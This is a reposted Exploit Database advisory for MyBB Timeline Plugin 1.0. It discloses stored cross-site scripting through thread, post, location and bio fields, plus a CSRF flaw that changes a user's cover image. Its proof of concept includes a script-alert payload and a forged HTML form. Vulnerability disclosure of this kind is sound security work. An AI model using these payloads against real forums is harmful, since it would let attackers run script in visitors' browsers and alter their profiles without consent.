MyBB Timeline Plugin 1.0 – Persistent Cross-Site Scripting

• Exploit Database
• 118 阅读

• 作者： 0xB9
  日期： 2021-01-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49467/
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  # Exploit Title: MyBB Timeline Plugin 1.0 - Cross-Site Scripting / CSRF # Date: 1/21/2021 # Author: 0xB9 # Software Link: https://community.mybb.com/mods.php?action=view&pid=1428 # Version: 1.0 # Tested on: Windows 10   1. Description: MyBB Timeline replaces the default MyBB user profile. This introduces cross-site scripting on user profiles & a CSRF that allows for the users timeline banner/image to be changed.   2. Proof of Concept:   ~ XSS via Thread/Post ~ - Make a new thread or reply to an existing thread - Input a payload in either the thread title or main post itself <script>alert(&apos;XSS&apos;)</script> Payload will execute when visiting your profile.   ~ XSS via Location/Bio ~ - Go to User CP -> Edit Profile - Input a payload in the Location/Bio <script>alert(&apos;XSS&apos;)</script> Payload will execute when visiting your profile.   ~ CSRF ~ <form class="coverpicForm" action="http://localhost/mybb/timeline.php?action=profile&uid=1" style="display: block;"> <input type="text" name="coverpic" placeholder="Add Image URL" required=""> <input type="hidden" name="do_coverpic" value="change"> <input type="submit" value="Change"> </form>